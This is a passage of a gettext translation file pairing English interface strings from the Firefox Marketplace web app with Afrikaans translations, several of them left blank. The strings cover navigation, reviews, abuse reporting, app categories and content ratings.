/media/js/views/feedback.js:53\nmsgid \"Feedback\"\nmsgstr \"Terugvoer\"\n\n#: /templates/footer.html:9 /templates/footer.html:13 /templates/footer.html:17 /templates/nav.html:92\nmsgid \"Support\"\nmsgstr \"Ondersteuning\"\n\n#: /templates/footer.html:20\nmsgid \"Develop Apps\"\nmsgstr \"Ontwikkel programme\"\n\n#: /templates/footer.html:21\nmsgid \"Develop Firefox OS Add-ons\"\nmsgstr \"\"\n\n#: /templates/footer.html:23 /templates/nav.html:78\nmsgid \"My Submissions\"\nmsgstr \"My indienings\"\n\n#: /templates/footer.html:26 /templates/nav.html:81\nmsgid \"Reviewer Tools\"\nmsgstr \"Resensiegereedskap\"\n\n#: /templates/footer.html:29 /templates/nav.html:84\nmsgid \"Lookup Tool\"\nmsgstr \"Opsoekfunksie\"\n\n#: /templates/footer.html:35\nmsgid \"\"\n\"Except where otherwise <a href=\\\"{legal_url}\\\" target=\\\"_blank\\\">noted</a>, content on this site is licensed under the <a href=\\\"{cc_url}\\\" target=\\\"_blank\\\">Creative Commons Attribution Share-\"\n\"Alike License v3.0</a> or any later version.\"\nmsgstr \"\"\n\"Behalwe waar dit andersins <a href=\\\"{legal_url}\\\" target=\\\"_blank\\\">aangeteken is</a>, word die inhoud van hierdie werf kragtens die <a href=\\\"{cc_url}\\\" target=\\\"_blank\\\">Creative Commons \"\n\"Attribution Share-Alike-lisensie v3.0</a> of enige latere weergawe gelisensieer.\"\n\n#: /templates/footer.html:40 /templates/nav.html:101 /templates/privacy.html:2 /templates/app/index.html:74 /templates/app/privacy.html:2 /media/js/views/privacy.js:9\nmsgid \"Privacy Policy\"\nmsgstr \"Privaatheidsbeleid\"\n\n#: /templates/footer.html:41 /templates/nav.html:102 /templates/terms.html:2 /media/js/views/terms.js:12\nmsgid \"Terms of Use\"\nmsgstr \"Gebruiksbepalings\"\n\n#: /templates/footer.html:43\nmsgid \"Report Trademark Abuse\"\nmsgstr \"Rapporteer handelsmerkmisbruik\"\n\n#: /templates/feedback.html:5\nmsgid \"We want to hear from you!\"\nmsgstr \"Ons wil van jou hoor!\"\n\n#: /templates/feedback.html:6\nmsgid \"Give us your feedback. Let us know whether we are awesome or buggy.\"\nmsgstr \"Gee vir ons terugvoer. Vertel ons of ons fantasties of 'n flater is.\"\n\n#: /templates/feedback.html:7 /templates/app/abuse.html:16 /templates/addon/abuse.html:15\nmsgid \"Let us know...\"\nmsgstr \"Laat ons weet...\"\n\n#: /templates/feedback.html:11 /templates/newsletter.html:38 /templates/app/abuse.html:21 /templates/addon/abuse.html:20 /templates/ratings/add.html:35 /templates/ratings/flag.html:17\n#: /templates/website/issue.html:13\nmsgid \"Cancel\"\nmsgstr \"Kanselleer\"\n\n#: /templates/feedback.html:12\nmsgid \"Submit Feedback\"\nmsgstr \"Stuur terugvoer in\"\n\n#: /templates/fxos_only_banner.html:1\nmsgid \"These applications can only be installed on devices running Firefox OS.\"\nmsgstr \"\"\n\n#: /templates/fxos_only_banner.html:2\nmsgid \"You may view the catalog but not be able to install or run these apps on your platform.\"\nmsgstr \"\"\n\n#: /templates/header.html:19 /templates/header.html:34\nmsgid \"Search Marketplace&hellip;\"\nmsgstr \"Deursoek Marketplace&hellip;\"\n\n#: /templates/header.html:21 /templates/nav.html:40\nmsgid \"Search\"\nmsgstr \"\"\n\n#: /templates/header.html:44 /templates/nav.html:43 /templates/nav.html:68 /templates/settings.html:2 /media/js/views/settings.js:9\nmsgid \"Settings\"\nmsgstr \"Instellings\"\n\n#: /templates/header.html:45 /templates/nav.html:74 /templates/purchases.html:6 /media/js/views/purchases.js:9\nmsgid \"My Apps\"\nmsgstr \"My programme\"\n\n#: /templates/header.html:47\nmsgid \"Sign Out\"\nmsgstr \"Meld af\"\n\n#: /templates/langpacks.html:34 /templates/langpacks.html:39\nmsgid \"No language packs found.\"\nmsgstr \"Geen taalpakke gevind nie.\"\n\n#: /templates/marketplace-update.html:2\nmsgid \"An update to Marketplace is available.\"\nmsgstr \"Daar is 'n bywerking vir Markplek beskikbaar.\"\n\n#: /templates/marketplace-update.html:4\nmsgid \"Download\"\nmsgstr \"Laai af\"\n\n#: /templates/nav.html:9 /templates/nav.html:51\nmsgid \"Apps\"\nmsgstr \"\"\n\n#: /templates/nav.html:14 /templates/nav.html:53 /templates/addon/list.html:5\nmsgid \"Add-ons\"\nmsgstr \"\"\n\n#: /templates/nav.html:20 /templates/nav.html:56\nmsgid \"Homescreens\"\nmsgstr \"\"\n\n#: /templates/nav.html:23\nmsgid \"More\"\nmsgstr \"\"\n\n#: /templates/nav.html:32 /templates/nav.html:50\nmsgid \"Home\"\nmsgstr \"Tuis\"\n\n#: /templates/nav.html:33 /templates/_macros/sort_toggle.html:4 /templates/_macros/sort_toggle.html:11\nmsgid \"Popular\"\nmsgstr \"Gewild\"\n\n#: /templates/nav.html:34 /templates/_macros/sort_toggle.html:5 /templates/_macros/sort_toggle.html:12\nmsgid \"New\"\nmsgstr \"Nuwe\"\n\n#: /templates/nav.html:36 /templates/nav.html:71 /media/js/views/recommended.js:15\nmsgid \"Recommended Apps\"\nmsgstr \"\"\n\n#: /templates/nav.html:41 /templates/nav.html:62 /templates/purchases.html:42 /templates/settings.html:43\nmsgid \"Register\"\nmsgstr \"Registreer\"\n\n#: /templates/nav.html:42 /templates/purchases.html:43 /templates/settings.html:44\nmsgid \"Sign In\"\nmsgstr \"Meld aan\"\n\n#: /templates/nav.html:65\nmsgid \"Sign in\"\nmsgstr \"\"\n\n#: /templates/nav.html:76\nmsgid \"Sign out\"\nmsgstr \"\"\n\n#: /templates/nav.html:87\nmsgid \"Add-on Tools\"\nmsgstr \"\"\n\n#: /templates/nav.html:95\nmsgid \"Get Involved\"\nmsgstr \"Raak betrokke\"\n\n#: /templates/nav.html:97 /media/js/views/newsletter_signup.js:11\nmsgid \"Newsletter Signup\"\nmsgstr \"\"\n\n#: /templates/newsletter.html:3\nmsgid \"Sign up for our newsletter\"\nmsgstr \"Sluit aan vir ons nuusbrief\"\n\n#: /templates/newsletter.html:5\nmsgid \"Get Firefox news! Sign up for our newsletter\"\nmsgstr \"Kry Firefox-nuus! Sluit aan vir ons nuusbrief\"\n\n#: /templates/newsletter.html:12 /templates/settings.html:13\nmsgid \"Email Address\"\nmsgstr \"E-posadres\"\n\n#: /templates/newsletter.html:13\nmsgid \"Email\"\nmsgstr \"E-pos\"\n\n#: /templates/newsletter.html:15 /templates/newsletter.html:37\nmsgid \"Sign me up\"\nmsgstr \"Sluit my aan\"\n\n#: /templates/newsletter.html:18\nmsgid \"Preferred Language\"\nmsgstr \"\"\n\n#: /templates/newsletter.html:32\nmsgid \"I'm okay with Mozilla handling my info as explained in <a href=\\\"{privacy_policy_url}\\\" target=\\\"_blank\\\">this Privacy Policy</a>.\"\nmsgstr \"Ek is tevrede as Mozilla my inligting hanteer soos uiteengesit in <a href=\\\"{privacy_policy_url}\\\" target=\\\"_blank\\\">hierdie privaatheidbeleid</a>.\"\n\n#: /templates/newsletter.html:44\nmsgid \"Thanks for signing up!\"\nmsgstr \"Dankie dat jy aangesluit het!\"\n\n#: /templates/newsletter.html:45\nmsgid \"You'll receive an email from mozilla@e.mozilla.org, please check your inbox for your first email from us. If you don’t see it, check your spam filter.\"\nmsgstr \"Kyk in jou e-pos vir 'n e-pos van mozilla@e.mozilla.org. As jy dit nie sien nie, kontroleer jou strooipos-filter.\"\n\n#: /templates/shutdown_banner.html:1\nmsgid \"\"\n\"The Marketplace will shut down on March 30th, 2018. If there are any apps that you would like, and have not downloaded yet, please do so before that date. See <a href=\\\"{url}\\\">the wiki</a> for \"\n\"more background.\"\nmsgstr \"\"\n\n#: /templates/product_list.html:41 /templates/product_list.html:46\nmsgid \"The list returned no results.\"\nmsgstr \"\"\n\n#: /templates/purchases.html:41\nmsgid \"You must be signed in to view your apps.\"\nmsgstr \"Jy moet aangemeld wees om jou programme te bekyk.\"\n\n#: /templates/purchases.html:30\nmsgid \"You have no apps\"\nmsgstr \"Jy het geen programme nie\"\n\n#: /templates/purchases.html:34 /templates/errors/fragment.html:1 /media/js/views/app.js:47\nmsgid \"Oh no!\"\nmsgstr \"Ag nee!\"\n\n#: /templates/search.html:8\nmsgid \"<b>{n}</b> Result\"\nmsgid_plural \"<b>{n}</b> Results\"\nmsgstr[0] \"<b>{n}</b> resultaat\"\nmsgstr[1] \"<b>{n}</b> resultate\"\n\n#: /templates/search.html:12\nmsgid \"<b>\\\"{search_query}\\\"</b> returned {n} result\"\nmsgid_plural \"<b>\\\"{search_query}\\\"</b> returned {n} results\"\nmsgstr[0] \"<b>\\\"{search_query}\\\"</b> lewer {n} resultaat op\"\nmsgstr[1] \"<b>\\\"{search_query}\\\"</b> lewer {n} resultate op\"\n\n#: /templates/search.html:78\nmsgid \"No results found, try again later\"\nmsgstr \"Geen resultate gevind nie, probeer weer later\"\n\n#: /templates/settings.html:9\nmsgid \"General settings\"\nmsgstr \"Algemene instellings\"\n\n#: /templates/settings.html:18\nmsgid \"Display Name\"\nmsgstr \"Vertoonnaam\"\n\n#: /templates/settings.html:26\nmsgid \"Recommendations\"\nmsgstr \"Aanbeveel\"\n\n#: /templates/settings.html:30\nmsgid \"Yes, show me recommendations based on my installed apps. <a href=\\\"{url}\\\" target=\\\"_blank\\\">Learn more</a>\"\nmsgstr \"Ja, wys aanbevelings vanweë my geïnstalleerde programme. <a href=\\\"{url}\\\" target=\\\"_blank\\\">Leer meer</a>\"\n\n#: /templates/settings.html:42\nmsgid \"Save Changes\"\nmsgstr \"Stoor veranderinge\"\n\n#: /templates/settings.html:36\nmsgid \"Region\"\nmsgstr \"Streek\"\n\n#: /templates/usage.html:3 /media/js/views/usage.js:9\nmsgid \"App Statistics\"\nmsgstr \"Programstatistiek\"\n\n#: /templates/usage.html:10\nmsgid \"App usage statistics\"\nmsgstr \"Programgebruik-statistiek\"\n\n#: /templates/usage.html:11\nmsgid \"Not enough statistics to show.\"\nmsgstr \"Nie genoeg statistiek om te wys nie.\"\n\n#: /templates/_includes/carrier_apps_banner.html:2\nmsgid \"Your carrier offers some free apps.\"\nmsgstr \"\"\n\n#. This is the link text for the carrier apps banner. \"Your carrier offers some free apps. Get them now!\"\n#: /templates/_includes/carrier_apps_banner.html:6\nmsgid \"Get them now!\"\nmsgstr \"\"\n\n#. (es) Classificacao Indicativa.\n#: /templates/_includes/content_ratings.html:5\nmsgid \"Content Rating\"\nmsgstr \"Inhoudbeoordeling\"\n\n#. (es) Classificacao Indicativa. Rating as in content rating.\n#: /templates/_includes/content_ratings.html:45\nmsgid \"Rating Details\"\nmsgstr \"Beoordeling-details\"\n\n#: /templates/_includes/post_install_message.html:2\nmsgid \"Installed!\"\nmsgstr \"Geïnstalleer!\"\n\n#: /templates/_includes/post_install_message.html:5\nmsgid \"Launch this app from your <b>Applications</b> directory.\"\nmsgstr \"Begin hierdie program vanaf jou <b>Applications</b>-lêergids.\"\n\n#: /templates/_includes/post_install_message.html:8\nmsgid \"Launch this app from your <b>Windows desktop</b> or <b>Start &#9658; All Programs</b>.\"\nmsgstr \"Begin hierdie program vanaf jou <b>Windows-werkskerm</b> of <b>Start &#9658; All Programs</b>.\"\n\n#: /templates/_includes/post_install_message.html:11\nmsgid \"Launch this app from your <b>dash</b>, <b>Application picker</b>, or <b>Applications menu</b>.\"\nmsgstr \"Begin hierdie program vanaf jou <b>ikoonstrook</b>, <b>program-keuseskerm</b>, of <b>program-kieslys</b>.\"\n\n#: /templates/_includes/reviews_summary.html:9\nmsgid \"1 Review\"\nmsgid_plural \"{numReviews} Reviews\"\nmsgstr[0] \"1 resensie\"\nmsgstr[1] \"{numReviews} resensies\"\n\n#: /templates/_includes/reviews_sidebar.html:9\nmsgid \"Edit your Review\"\nmsgstr \"Redigeer jou resensie\"\n\n#: /templates/_includes/reviews_sidebar.html:11\nmsgid \"Edit your review\"\nmsgstr \"Redigeer jou resensie\"\n\n#: /templates/_includes/reviews_sidebar.html:18\nmsgid \"Write a review\"\nmsgstr \"Skryf 'n resensie\"\n\n#: /templates/_includes/reviews_sidebar.html:18\nmsgid \"Sign in to review\"\nmsgstr \"Meld aan om te resenseer\"\n\n#: /templates/_includes/reviews_sidebar.html:26\nmsgid \"Read all reviews\"\nmsgstr \"Lees alle resensies\"\n\n#: /templates/_macros/app_tile.html:108\nmsgid \"Review\"\nmsgid_plural \"Reviews\"\nmsgstr[0] \"Resensie\"\nmsgstr[1] \"Resensies\"\n\n#: /templates/_macros/app_tile.html:114\nmsgid \"Not yet reviewed\"\nmsgstr \"Nog nie geresenseer nie\"\n\n#: /templates/_macros/feed_app_tile.html:14\nmsgid \"&mdash; {attribution}\"\nmsgstr \"&mdash; {attribution}\"\n\n#: /templates/_macros/feed_item.html:82 /templates/_macros/feed_item.html:175\nmsgid \"View all\"\nmsgstr \"\"\n\n#: /templates/_macros/feed_websites.html:16\nmsgid \"Visit this top site!\"\nmsgstr \"\"\n\n#: /templates/_macros/feed_websites.html:50\nmsgid \"Show me another site\"\nmsgstr \"\"\n\n#: /templates/_macros/more_button.html:3\nmsgid \"Load more\"\nmsgstr \"Laai meer\"\n\n#: /templates/_macros/previews.html:42 /templates/_macros/previews.html:45\nmsgid \"{app_name} screenshot\"\nmsgstr \"{app_name} skermskoot\"\n\n#: /templates/_macros/review.html:14\nmsgid \"For previous version {version}\"\nmsgstr \"Vir vorige weergawe {version}\"\n\n#: /templates/_macros/review.html:25 /templates/_macros/review.html:29\nmsgid \"Edit\"\nmsgstr \"Redigeer\"\n\n#: /templates/_macros/review.html:36\nmsgid \"Delete\"\nmsgstr \"Skrap\"\n\n#: /templates/_macros/review.html:42\nmsgid \"Report\"\nmsgstr \"Verslag\"\n\n#: /templates/_macros/review.html:44\nmsgid \"Flagged for review\"\nmsgstr \"Gevlag vir resensering\"\n\n#: /templates/_macros/stars.html:5\nmsgid \"Rated {stars} out of {maxstars} stars\"\nmsgstr \"Beoordeeld met {stars} uit {maxstars} sterre\"\n\n#: /templates/app/abuse.html:5\nmsgid \"Need to report something?\"\nmsgstr \"Wil jy iets rapporteer?\"\n\n#: /templates/app/abuse.html:7\nmsgid \"Let us know if this app is doing something that isn't allowed in the <a href=\\\"{criteria_url}\\\" target=\\\"_blank\\\">review criteria</a> and should be removed from the Marketplace.\"\nmsgstr \"\"\n\n#: /templates/app/abuse.html:12\nmsgid \"Examples of issues to report here are if the app is broken, contains mature content, contains malware, etc. The app developer will not see your comments.\"\nmsgstr \"\"\n\n#: /templates/app/abuse.html:22 /templates/addon/abuse.html:21\nmsgid \"Submit Report\"\nmsgstr \"Stuur rapportering in\"\n\n#. delimiter to separate list of words (e.g., \"eggs, ham, cheese\").\n#: /templates/app/index.html:19 /templates/addon/index.html:13 /templates/website/index.html:15\nmsgid \"Description\"\nmsgstr \"Beskrywing\"\n\n#: /templates/app/index.html:25 /templates/app/index.html:39 /templates/addon/index.html:20 /templates/website/index.html:21\nmsgid \"View All\"\nmsgstr \"Bekyk almal\"\n\n#: /templates/app/index.html:35\nmsgid \"Updates\"\nmsgstr \"Bywerkings\"\n\n#: /templates/app/index.html:46\nmsgid \"Last updated\"\nmsgstr \"Laas bygewerk\"\n\n#: /templates/app/index.html:55\nmsgid \"Email Support\"\nmsgstr \"E-possteun\"\n\n#: /templates/app/index.html:62\nmsgid \"Support Site\"\nmsgstr \"Ondersteun werf\"\n\n#: /templates/app/index.html:68\nmsgid \"Homepage\"\nmsgstr \"Tuisblad\"\n\n#: /templates/app/index.html:81\nmsgid \"Statistics\"\nmsgstr \"Statistiek\"\n\n#: /templates/app/index.html:88\nmsgid \"Edit Listing\"\nmsgstr \"Redigeer lysting\"\n\n#: /templates/app/index.html:96\nmsgid \"Approve / Reject\"\nmsgstr \"Keur goed / keur af\"\n\n#: /templates/app/index.html:97\nmsgid \"Review History\"\nmsgstr \"Resensiegeskiedenis\"\n\n#: /templates/app/index.html:114 /media/js/views/app/ratings.js:11\nmsgid \"Reviews\"\nmsgstr \"Resensies\"\n\n#: /templates/app/index.html:125\nmsgid \"App not yet reviewed\"\nmsgstr \"Program is nog nie geresenseer nie\"\n\n#: /templates/app/index.html:144\nmsgid \"Premium version available\"\nmsgstr \"Premieweergawe beskikbaar\"\n\n#: /templates/app/index.html:162\nmsgid \"More Information\"\nmsgstr \"Meer inligting\"\n\n#: /templates/app/index.html:165\nmsgid \"Developer\"\nmsgstr \"Ontwikkelaar\"\n\n#: /templates/app/index.html:169\nmsgid \"Compatibility\"\nmsgstr \"\"\n\n#. delimiter to separate list of words (e.g., \"eggs, ham, cheese\").\n#: /templates/app/index.html:172 /templates/app/index.html:179\nmsgid \",\"\nmsgstr \",\"\n\n#: /templates/app/index.html:184\nmsgid \"File Size\"\nmsgstr \"Lêergrootte\"\n\n#: /templates/app/index.html:189\nmsgid \"Most Recent Version\"\nmsgstr \"Mees onlangse weergawe\"\n\n#: /templates/app/index.html:207 /media/js/views/app/abuse.js:54\nmsgid \"Report Abuse\"\nmsgstr \"Rapporteer misbruik\"\n\n#: /templates/app/privacy.html:8\nmsgid \"Back to app\"\nmsgstr \"Terug na program\"\n\n#: /templates/app/privacy.html:11\nmsgid \"Loading Privacy Policy...\"\nmsgstr \"Laai tans privaatheidsbeleid...\"\n\n#: /templates/addon/abuse.html:6\nmsgid \"Let us know if this add-on is doing something that isn't allowed in the <a href=\\\"{criteria_url}\\\" target=\\\"_blank\\\">review criteria</a> and should be removed from the Marketplace.\"\nmsgstr \"\"\n\n#: /templates/addon/abuse.html:11\nmsgid \"Examples of issues to report here are if the add-on is completely broken, contains mature content, contains malware, etc. The add-on developer will not see your comments.\"\nmsgstr \"\"\n\n#: /templates/app/receipt.html:2\nmsgid \"Thank you for purchasing\"\nmsgstr \"Dankie vir jou aankope\"\n\n#: /templates/addon/index.html:25\nmsgid \"version: {version}\"\nmsgstr \"\"\n\n#: /templates/addon/index.html:26\nmsgid \"size: {size}\"\nmsgstr \"\"\n\n#: /templates/addon/index.html:29\nmsgid \"last updated: {date}\"\nmsgstr \"\"\n\n#: /templates/addon/index.html:36 /media/js/views/addon/abuse.js:36\nmsgid \"Report to Mozilla\"\nmsgstr \"\"\n\n#: /templates/addon/list.html:6\nmsgid \"Customize your device with powerful features.\"\nmsgstr \"\"\n\n#: /templates/addon/list.html:26 /templates/addon/list.html:31\nmsgid \"No Firefox OS add-ons found.\"\nmsgstr \"\"\n\n#: /templates/errors/fragment.html:2\nmsgid \"An error occurred.\"\nmsgstr \"'n Fout het voorgekom.\"\n\n#: /templates/errors/404.html:2\nmsgid \"Content Not Found\"\nmsgstr \"\"\n\n#: /templates/errors/404.html:3\nmsgid \"Whoops! Something went wrong and you ended up here. Sorry!\"\nmsgstr \"\"\n\n#: /templates/errors/pagination.html:2\nmsgid \"Try Again\"\nmsgstr \"Probeer weer\"\n\n#: /templates/ratings/add.html:8 /templates/ratings/edit.html:4 /media/js/views/app/ratings/edit.js:15\nmsgid \"Edit Review\"\nmsgstr \"Redigeer resensie\"\n\n#: /templates/ratings/add.html:8 /media/js/views/app/ratings/add.js:20\nmsgid \"Leave a Review\"\nmsgstr \"Laat 'n resensie\"\n\n#: /templates/ratings/add.html:10\nmsgid \"Please select a star rating.\"\nmsgstr \"\"\n\n#: /templates/ratings/add.html:12\nmsgid \"Rate:\"\nmsgstr \"Beoordeel:\"\n\n#: /templates/ratings/add.html:23\nmsgid \"\"\n\"Please read the <a href=\\\"{url}\\\" target=\\\"_blank\\\">Review Guidelines</a> for more details about rating apps. Reviews that do not meet these guidelines may be removed by our moderation team without \"\n\"notice.\"\nmsgstr \"\"\n\n#: /templates/ratings/add.html:28\nmsgid \"Tell us what you like about this app. Write like you’re telling a friend about your experience with the app. Give specific details, for example, What features did you like or dislike?\"\nmsgstr \"\"\n\n#: /templates/ratings/add.html:32\nmsgid \"Only users that are logged in may submit reviews.\"\nmsgstr \"Net gebruikers wat aangemeld is, kan resensies stuur.\"\n\n#: /templates/ratings/add.html:36\nmsgid \"Update Review\"\nmsgstr \"Werk resensie by\"\n\n#: /templates/ratings/add.html:36\nmsgid \"Submit Review\"\nmsgstr \"Stuur resensie\"\n\n#: /templates/ratings/flag.html:3 /templates/ratings/flag.html:26\nmsgid \"Flag Review\"\nmsgstr \"Vlag vir resensie\"\n\n#: /templates/ratings/flag.html:4\nmsgid \"See an issue with this review? Select a reason below.\"\nmsgstr \"Is daar fout met hierdie resensie? Kies 'n rede hier onder.\"\n\n#: /templates/ratings/flag.html:7\nmsgid \"Spam or otherwise non-review content\"\nmsgstr \"Rommelpos of andersins nieresensie-inhoud\"\n\n#: /templates/ratings/flag.html:10\nmsgid \"Inappropriate language/dialog\"\nmsgstr \"Onvanpaste taal/dialoog\"\n\n#: /templates/ratings/flag.html:13\nmsgid \"Misplaced bug report or support request\"\nmsgstr \"Verlore foutverslag of ondersteuningsversoek\"\n\n#: /templates/ratings/main.html:36\nmsgid \"This app has no reviews.\"\nmsgstr \"Hierdie program het geen resensies.\"\n\n#: /templates/website/index.html:34\nmsgid \"Explore more in {category_one} and {category_two}.\"\nmsgstr \"\"\n\n#: /templates/website/index.html:38\nmsgid \"Explore more in {category}.\"\nmsgstr \"\"\n\n#: /templates/website/index.html:47\nmsgid \"Is there something wrong or out-of-date with this website listing?\"\nmsgstr \"\"\n\n#: /templates/website/index.html:49 /templates/website/issue.html:14\nmsgid \"Report an issue\"\nmsgstr \"\"\n\n#: /templates/ratings/rating.html:4 /media/js/views/app/ratings/rating.js:13\nmsgid \"App Review\"\nmsgstr \"Programresensie\"\n\n#: /templates/website/issue.html:5\nmsgid \"Let us know if something is missing from this website listing or its information should be updated.\"\nmsgstr \"\"\n\n#: /templates/website/issue.html:6\nmsgid \"For information on show to report a copyright or trademark issue <a href=\\\"{url}\\\" target=\\\"_blank\\\">see here</a>.\"\nmsgstr \"\"\n\n#: /templates/website/issue.html:8\nmsgid \"Describe the issue here. Please be specific.\"\nmsgstr \"\"\n\n#: /media/js/apps.js:114\nmsgid \"not available for your region\"\nmsgstr \"\"\n\n#: /media/js/apps.js:119\nmsgid \"not available for your platform\"\nmsgstr \"\"\n\n#: /media/js/apps.js:123 /media/js/apps.js:128\nmsgid \"not compatible with your device\"\nmsgstr \"\"\n\n#: /media/js/buttons.js:92 /media/js/buttons.js:167 /media/js/payments.js:134\nmsgid \"Payment cancelled.\"\nmsgstr \"Betaling gekanselleer.\"\n\n#. App's install failed, but problem is temporary.\n#: /media/js/buttons.js:250\nmsgid \"Install failed. Please try again later.\"\nmsgstr \"Installering het misluk. Probeer asseblief weer later.\"\n\n#: /media/js/buttons.js:336 /media/js/buttons.js:341 /media/js/buttons.js:440 /media/js/buttons.js:444\nmsgid \"Installed\"\nmsgstr \"Geïnstalleer\"\n\n#: /media/js/buttons.js:417\nmsgid \"free\"\nmsgstr \"\"\n\n#: /media/js/buttons.js:417\nmsgid \"Free\"\nmsgstr \"Gratis\"\n\n#: /media/js/buttons.js:422\nmsgid \"Unavailable\"\nmsgstr \"Nie beskikbaar nie\"\n\n#: /media/js/buttons.js:440 /media/js/buttons.js:457 /media/js/buttons.js:467\nmsgid \"Install\"\nmsgstr \"Installeer\"\n\n#: /media/js/buttons.js:445\nmsgid \"Install Add-on\"\nmsgstr \"\"\n\n#: /media/js/buttons.js:450\nmsgid \"Open website\"\nmsgstr \"\"\n\n#: /media/js/buttons.js:453\nmsgid \"Open app\"\nmsgstr \"\"\n\n#: /media/js/buttons.js:455\nmsgid \"Install for free\"\nmsgstr \"\"\n\n#: /media/js/buttons.js:459\nmsgid \"Install for {price}\"\nmsgstr \"\"\n\n#: /media/js/buttons.js:465\nmsgid \"Open\"\nmsgstr \"\"\n\n#: /media/js/categories.js:6\nmsgid \"Games\"\nmsgstr \"Speletjies\"\n\n#: /media/js/categories.js:7\nmsgid \"Books & Comics\"\nmsgstr \"\"\n\n#: /media/js/categories.js:8\nmsgid \"Business\"\nmsgstr \"Besigheid\"\n\n#: /media/js/categories.js:9\nmsgid \"Education\"\nmsgstr \"Opvoeding\"\n\n#: /media/js/categories.js:10\nmsgid \"Entertainment\"\nmsgstr \"Vermaak\"\n\n#: /media/js/categories.js:11\nmsgid \"Food & Drink\"\nmsgstr \"\"\n\n#: /media/js/categories.js:12\nmsgid \"Health & Fitness\"\nmsgstr \"Gesondheid en fiksheid\"\n\n#: /media/js/categories.js:13\nmsgid \"Humor\"\nmsgstr \"\"\n\n#: /media/js/categories.js:14\nmsgid \"Internet\"\nmsgstr \"\"\n\n#: /media/js/categories.js:15\nmsgid \"Kids\"\nmsgstr \"\"\n\n#: /media/js/categories.js:16\nmsgid \"Lifestyle\"\nmsgstr \"Lewenstyl\"\n\n#: /media/js/categories.js:17\nmsgid \"Maps & Navigation\"\nmsgstr \"Kaarte en navigasie\"\n\n#: /media/js/categories.js:18\nmsgid \"Music\"\nmsgstr \"Musiek\"\n\n#: /media/js/categories.js:19\nmsgid \"News\"\nmsgstr \"\"\n\n#: /media/js/categories.js:20\nmsgid \"Personalization\"\nmsgstr \"\"\n\n#: /media/js/categories.js:21\nmsgid \"Photo & Video\"\nmsgstr \"Foto en video\"\n\n#: /media/js/categories.js:22\nmsgid \"Productivity\"\nmsgstr \"Produktiwiteit\"\n\n#: /media/js/categories.js:23\nmsgid \"Reference\"\nmsgstr \"Naslaan\"\n\n#: /media/js/categories.js:24\nmsgid \"Science & Tech\"\nmsgstr \"\"\n\n#: /media/js/categories.js:25\nmsgid \"Shopping\"\nmsgstr \"Inkopies\"\n\n#: /media/js/categories.js:26\nmsgid \"Social\"\nmsgstr \"Sosiaal\"\n\n#: /media/js/categories.js:27\nmsgid \"Sports\"\nmsgstr \"Sport\"\n\n#: /media/js/categories.js:28\nmsgid \"Travel\"\nmsgstr \"Reis\"\n\n#: /media/js/categories.js:29\nmsgid \"Utilities\"\nmsgstr \"Nutsprogramme\"\n\n#: /media/js/categories.js:30\nmsgid \"Weather\"\nmsgstr \"\"\n\n#: /media/js/compat_filter.js:42 /media/js/compat_filter.js:51\nmsgid \"All Platforms\"\nmsgstr \"Alle platforms\"\n\n#: /media/js/compat_filter.js:43 /media/js/compat_filter.js:54\nmsgid \"Android Mobile\"\nmsgstr \"Android-selfoon\"\n\n#: /media/js/compat_filter.js:44 /media/js/compat_filter.js:55\nmsgid \"Android Tablet\"\nmsgstr \"Android-tablet\"\n\n#: /media/js/compat_filter.js:45 /media/js/compat_filter.js:52\nmsgid \"Desktop\"\nmsgstr \"Rekenaar\"\n\n#: /media/js/compat_filter.js:46 /media/js/compat_filter.js:53\nmsgid \"Firefox OS\"\nmsgstr \"Firefox OS\"\n\n#. For ages {0} and higher. (de) `ab {0} Jahren`.\n#: /media/js/content-ratings.js:71\nmsgid \"For ages {0}+\"\nmsgstr \"Vir ouderdomme {0}+\"\n\n#: /media/js/content-ratings.js:77\nmsgid \"Generic\"\nmsgstr \"Generies\"\n\n#: /media/js/content-ratings.js:84\nmsgid \"For all ages\"\nmsgstr \"Vir alle ouderdomme\"\n\n#: /media/js/content-ratings.js:93\nmsgid \"Rating Pending\"\nmsgstr \"Beoordeling wagtend\"\n\n#: /media/js/content-ratings.js:94\nmsgid \"Rating Refused\"\nmsgstr \"Beoordeling geweier\"\n\n#: /media/js/content-ratings.js:97\nmsgid \"Everyone\"\nmsgstr \"Almal\"\n\n#: /media/js/content-ratings.js:98\nmsgid \"Everyone 10+\"\nmsgstr \"Almal 10+\"\n\n#: /media/js/content-ratings.js:99\nmsgid \"Teen\"\nmsgstr \"Tiener\"\n\n#: /media/js/content-ratings.js:100\nmsgid \"Mature 17+\"\nmsgstr \"Volwasse 17+\"\n\n#: /media/js/content-ratings.js:101\nmsgid \"Adults Only 18+\"\nmsgstr \"Slegs volwassenes 18+\"\n\n#: /media/js/edbrands.js:33\nmsgid \"App for Albania\"\nmsgid_plural \"Apps for Albania\"\nmsgstr[0] \"Program vir Albanië\"\nmsgstr[1] \"Programme vir Albanië\"\n\n#: /media/js/edbrands.js:34\nmsgid \"App for Argentina\"\nmsgid_plural \"Apps for Argentina\"\nmsgstr[0] \"Program vir Argentinië\"\nmsgstr[1] \"Programme vir Argentinië\"\n\n#: /media/js/edbrands.js:35\nmsgid \"App for Bangladesh\"\nmsgid_plural \"Apps for Bangladesh\"\nmsgstr[0] \"Program vir Bangladesj\"\nmsgstr[1] \"Programme vir Bangladesj\"\n\n#: /media/js/edbrands.js:36\nmsgid \"App for Brazil\"\nmsgid_plural \"Apps for Brazil\"\nmsgstr[0] \"Program vir Brasilië\"\nmsgstr[1] \"Programme vir Brasilië\"\n\n#: /media/js/edbrands.js:37\nmsgid \"App for Bulgaria\"\nmsgid_plural \"Apps for Bulgaria\"\nmsgstr[0] \"Program vir Bulgarye\"\nmsgstr[1] \"Programme vir Bulgarye\"\n\n#: /media/js/edbrands.js:38\nmsgid \"App for Chile\"\nmsgid_plural \"Apps for Chile\"\nmsgstr[0] \"Program vir Chili\"\nmsgstr[1] \"Programme vir Chili\"\n\n#: /media/js/edbrands.js:39\nmsgid \"App for China\"\nmsgid_plural \"Apps for China\"\nmsgstr[0] \"Program vir Sjina\"\nmsgstr[1] \"Programme vir Sjina\"\n\n#: /media/js/edbrands.js:40\nmsgid \"App for Colombia\"\nmsgid_plural \"Apps for Colombia\"\nmsgstr[0] \"Program vir Colombia\"\nmsgstr[1] \"Programme vir Colombia\"\n\n#: /media/js/edbrands.js:41\nmsgid \"App for Costa Rica\"\nmsgid_plural \"Apps for Costa Rica\"\nmsgstr[0] \"Program vir Costa Rica\"\nmsgstr[1] \"Programme vir Costa Rica\"\n\n#: /media/js/edbrands.js:42\nmsgid \"App for Croatia\"\nmsgid_plural \"Apps for Croatia\"\nmsgstr[0] \"Program vir 